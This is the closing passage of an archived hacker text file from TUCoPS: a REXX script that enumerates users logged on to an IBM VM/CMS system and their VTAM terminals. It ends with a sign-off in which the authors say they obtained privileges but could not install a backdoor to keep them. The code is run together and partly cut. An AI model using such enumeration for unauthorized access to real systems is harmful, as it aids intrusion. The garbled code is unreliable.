nd.n=substr(strip(nd.n,'L'),1,8) END DO N = 1 TO NUMQ IF LA.N ='VTAM' THEN
SELECT WHEN (S+0)//4 = 1 THEN DO LA.N ='VTAM' THEN DO A.S
='VSM - VTAM' ; S = S+1 ; A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S
=' ' ; S=S+1 ; ITERATE END WHEN (S+0)//4 = 2 THEN DO A.S = ' ' ;
S = S+1 ; A.S = ' ' ;S=S+1 ; A.S =' ' ; S=S+1 ;END WHEN (S+0)//4 = 3
THEN DO;A.S =' ';S=S+1 ; A.S =' ' ; S=S+1 ;END; WHEN (S+0)//4 = 0 THEN
DO; A.S = ' ' ; S=S+1 ; END END IF LA.N ='VTAM' THEN DO A.S ='VSM -
VTAM' ; S = S+1 ; A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ;
S=S+1 ; ITERATE END IF LA.N ^= DSC & LA.N ^= ' ' &
SUBSTR(space(NA.N),1,4)^='LOGO' & (cut) SPACE(LA.N)^=SPACE(NA.N)
THEN A.S = NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END; IF LB.N ^=
DSC & LB.N ^= ' ' & SUBSTR(space(NB.N),1,4)^='LOGO' & (cut)
SPACE(LB.N)^=SPACE(NB.N) THEN A.S = NB.N||'-'||LB.N||',' ; S=S+1 ;
USER=USER+1; END; IF LC.N ^= DSC & LC.N ^= ' ' &
SUBSTR(space(NC.N),1,4)^='LOGO' & (cut) SPACE(LC.N)^=SPACE(NC.N)
THEN A.S = NC.N||'-'||LC.N||',' ; S=S+1 ; USER=USER+1; END; IF LD.N ^=
DSC & LD.N ^= ' ' & SUBSTR(space(ND.N),1,4)^='LOGO' & (cut)
SPACE(LD.N)^=SPACE(ND.N) THEN A.S = ND.N||'-'||LD.N||',' ; S=S+1 ;
USER=USER+1; END; END CLRSCRN call concate SAY MM= ' <- - - - - - - - - - - - -
' RIGHT(USER,3,0) ' LOGON USERS - - - - (cut) - - - - - - - - - - ->'
say MM SAY exit concate: DO I = 1 TO S-1 BY 4 IF I+1 < S THEN P=I+1
; ELSE A.P = ' ' IF I+2 < S THEN Q=I+2 ; ELSE A.Q = ' '
IF I+3 < S THEN R=I+3 ; ELSE A.R = ' ' STR= ' ' IF I+3 < S
THEN R=I+3 ; ELSE A.R = ' ' STR=INSERT(A.I,STR,1) ;
STR=INSERT(A.P,STR,21) STR=INSERT(A.Q,STR,41) ;
STR=INSERT(A.R,STR,61) SAY STR END return
-----------------------------------Cut Here------------------------------------
Well, that is it...Unfortunately, we did not know how to install a backdoor in
IBM VM/CMS so we could not keep privs permanently. It is a pity...but we're
glad to share our experience with hackers!
Sincerely,
Goe
_______________________________________________________________________________
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
